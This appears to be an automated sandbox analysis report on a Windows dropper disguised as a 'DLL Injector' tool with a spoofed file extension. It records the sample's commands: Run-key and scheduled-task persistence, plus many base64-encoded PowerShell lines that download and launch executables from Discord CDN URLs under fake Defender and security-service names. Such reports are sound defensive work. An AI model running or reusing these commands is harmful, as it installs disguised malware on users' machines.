Dll%20Injector%20V5%20Full%E2%80%AEnls..scr| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | Nov. 8, 2022, 9:35 a.m. | Nov. 8, 2022, 9:40 a.m. |
-
Dll%20Injector%20V5%20Full%E2%80%AEnls..scr "C:\Users\test22\AppData\Local\Temp\Dll%20Injector%20V5%20Full%E2%80%AEnls..scr"
2640-
-
-
powershell.exe "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WIndowShellHost';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WIndowShellHost' -Value '"C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe"' -PropertyType 'String'
2884 -
cmd.exe "cmd" /C schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
2932-
schtasks.exe schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
3004
-
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdQBuACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANQA4ADkAOAA4ADcAMgA2ADgAOAA2ADgAMAAvAEQAZQBmAGUAbgBkAGUAcgBSAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAsACAAPAAjAGUAcgBlACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZgBhAGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZwB4AGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARABlAGYAZQBuAGQAZQByAFIAdQBuAHQAaQBtAGUALgBlAHgAZQAnACkAKQA8ACMAbQBqAGsAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeAB0AGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGMAagBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEQAZQBmAGUAbgBkAGUAcgBSAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwApADwAIwB0AGcAeAAjAD4A"
3080
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAeQB5ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANQA3ADkAMwA3ADkAMgA4ADAAMgA5ADMANgAvAEQAZQBmAGUAbgBkAGUAcgBSAHUAbgB0AGkAbQBlAGUALgBlAHgAZQAnACwAIAA8ACMAaABhAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBrAGIAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBiAHAAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBEAGUAZgBlAG4AZABlAHIAUgB1AG4AdABpAG0AZQBlAC4AZQB4AGUAJwApACkAPAAjAGcAcwB0ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHAAcAB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBzAHYAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBEAGUAZgBlAG4AZABlAHIAUgB1AG4AdABpAG0AZQBlAC4AZQB4AGUAJwApADwAIwBwAG4AeAAjAD4A"
176
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAagB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAAyADcAMQA5ADUAMgA5ADIAOAA4ADMAMwA3ADAAMAAzADQALwAxADAAMwAwADgAOAA3ADEAOAA5ADYAMAAyADYANQAyADIAMgAxAC8ARgBpAGwAZQBNAGEAbgBhAGcAZQAuAGUAeABlACcALAAgADwAIwBpAG4AcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAYwBwACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAcABnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUATQBhAG4AYQBnAGUALgBlAHgAZQAnACkAKQA8ACMAdwB6AG0AIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBkAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHUAeQBkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUATQBhAG4AYQBnAGUALgBlAHgAZQAnACkAPAAjAGsAdwBqACMAPgA="
2400
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AcgBzACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA5ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA4ADkANQAyADAAMAAyADUAMQA5ADkANgAvAEYAaQBsAGUATQBhAG4AYQBnAGUAcgAuAGUAeABlACcALAAgADwAIwB0AG0AdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG0AcgBnACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHYAagBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUATQBhAG4AYQBnAGUAcgAuAGUAeABlACcAKQApADwAIwBmAHIAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAHIAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQBzAGkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARgBpAGwAZQBNAGEAbgBhAGcAZQByAC4AZQB4AGUAJwApADwAIwBnAHYAbAAjAD4A"
3100
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYQBxACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA2ADYANgA2ADUANgA4ADEAMwAxADgANgAvAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAGkAdAB5AC4AZQB4AGUAJwAsACAAPAAjAHcAagBwACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZQBoAGsAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBzAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUgBlAGQAbABpAG4ARQBTAGUAYwB1AHIAaQB0AHkALgBlAHgAZQAnACkAKQA8ACMAdAB1AHEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABnAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGgAcwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAGkAdAB5AC4AZQB4AGUAJwApADwAIwB1AGIAYwAjAD4A"
1168
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAaQB4ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA2ADEAMwA4ADEANgA5ADgAMwA2ADQAMgAvAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAHQAeQAuAGUAeABlACcALAAgADwAIwByAGwAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHUAbQBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAdgB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAHQAeQAuAGUAeABlACcAKQApADwAIwBjAGsAbAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGQAdQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZABzAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUgBlAGQAbABpAG4ARQBTAGUAYwB1AHIAdAB5AC4AZQB4AGUAJwApADwAIwBmAHUAcgAjAD4A"
3196
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAawBmACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA3ADkAOAA1ADcAMQA4ADYANAAxADMANAAvAHUAYgBuAGEAbgAuAGUAeABlACcALAAgADwAIwBzAGgAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAZgBnACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAegBnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMANQAwADAAdQBiAG4AYQBuAC4AZQB4AGUAJwApACkAPAAjAHkAbgBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHIAdABmACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB4AGwAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTADUAMAAwAHUAYgBuAGEAbgAuAGUAeABlACcAKQA8ACMAcwBoAHcAIwA+AA=="
1376
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAZwBjACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgAxADUANgAwADIAOQA2ADYAMQAyADgANAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAdQByAHYAaQBjAGUALgBlAHgAZQAnACwAIAA8ACMAdABjAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB3AHMAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBmAHMAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAKQApADwAIwBnAHAAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBlAHIAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAeAB5AHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAPAAjAHkAcgBsACMAPgA="
1948
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAbABiACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgAxADkAMgAxADUAOQA0ADAAOAAxADcAMAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAdQByAHYAaQBjAC4AZQB4AGUAJwAsACAAPAAjAGMAdwBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaAB4AGkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaQBlAHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAC4AZQB4AGUAJwApACkAPAAjAHoAaQBzACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAG0AaQBwACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBlAGoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMALgBlAHgAZQAnACkAPAAjAHkAeABsACMAPgA="
3116
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdwBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAANQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAAyADcAMQA5ADUAMgA5ADIAOAA4ADMAMwA3ADAAMAAzADQALwAxADAAMwAwADgAOAA3ADMANQA5ADkANAAxADcAMgAyADEANgAyAC8AUwBlAGMAdQByAGkAdAB5AEgAbwBzAHQALgBlAHgAZQAnACwAIAA8ACMAZABnAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBqAHAAYwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGYAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAaQB0AHkASABvAHMAdAAuAGUAeABlACcAKQApADwAIwB2AGgAdAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBzAGQAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABwAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAGkAdAB5AEgAbwBzAHQALgBlAHgAZQAnACkAPAAjAHUAYgBoACMAPgA="
1632
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAYgB0ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA0ADIAOQAyADUANQAwADEAMgA0ADUAMgAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAAuAGUAeABlACcALAAgADwAIwBiAGIAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbgBqACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGgAaQBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAAuAGUAeABlACcAKQApADwAIwBlAGsAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHAAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbABwAGcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAUwBtAGEAcgB0AC4AZQB4AGUAJwApADwAIwBwAGoAdgAjAD4A"
2072
-
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYgB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADEAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAAyADcAMQA5ADUAMgA5ADIAOAA4ADMAMwA3ADAAMAAzADQALwAxADAAMwAwADgAOAA3ADQAOAAwADYANAA1ADMAOAA2ADMANgAxAC8AVwBpAG4AZABvAHcAcwBQAHIAbwB0AGUAYwB0AC4AZQB4AGUAJwAsACAAPAAjAGcAawBzACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdQBiAHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBzAHcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBpAG4AZABvAHcAcwBQAHIAbwB0AGUAYwB0AC4AZQB4AGUAJwApACkAPAAjAGIAYwBzACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHEAdQBrACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB5AGsAYgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBXAGkAbgBkAG8AdwBzAFAAcgBvAHQAZQBjAHQALgBlAHgAZQAnACkAPAAjAGwAbgBlACMAPgA="
2780
-
-
-
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
| IP Address | Status | Action |
|---|---|---|
| 164.124.101.2 | Active | Moloch |
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid |
| file | C:\Users\test22\AppData\Roaming\FILEMANAGE.EXE |
| file | C:\Users\test22\AppData\Roaming\REDLINESECURITY.EXE |
| file | C:\Users\test22\AppData\Roaming\DEFENDERRUNTIMEE.EXE |
| file | C:\Users\test22\AppData\Roaming\SECURITYHEALTHSERVICE.EXE |
| file | C:\Users\test22\AppData\Roaming\WINDOWSDEFENDERSMART.EXE |
| file | C:\Users\test22\AppData\Roaming\SECURITYHEALTHSEURVIC.EXE |
| file | C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe |
| file | C:\Users\test22\AppData\Roaming\REDLINESECURTY.EXE |
| file | C:\Users\test22\AppData\Roaming\DEFENDERRUNTIME.EXE |
| file | C:\Users\test22\AppData\Roaming\SECURITYHOST.EXE |
| file | C:\Users\test22\AppData\Roaming\FILEMANAGER.EXE |
| file | C:\Users\test22\AppData\Roaming\WINDOWSHELLHOSTT.EXE |
| file | C:\Users\test22\AppData\Roaming\S500UBNAN.EXE |
| file | C:\Users\test22\AppData\Roaming\WINDOWSPROTECT.EXE |
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | powershell -EncodedCommand "PAAjAGcAawBmACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA3ADkAOAA1ADcAMQA4ADYANAAxADMANAAvAHUAYgBuAGEAbgAuAGUAeABlACcALAAgADwAIwBzAGgAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAZgBnACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAegBnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMANQAwADAAdQBiAG4AYQBuAC4AZQB4AGUAJwApACkAPAAjAHkAbgBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHIAdABmACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB4AGwAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTADUAMAAwAHUAYgBuAGEAbgAuAGUAeABlACcAKQA8ACMAcwBoAHcAIwA+AA==" |
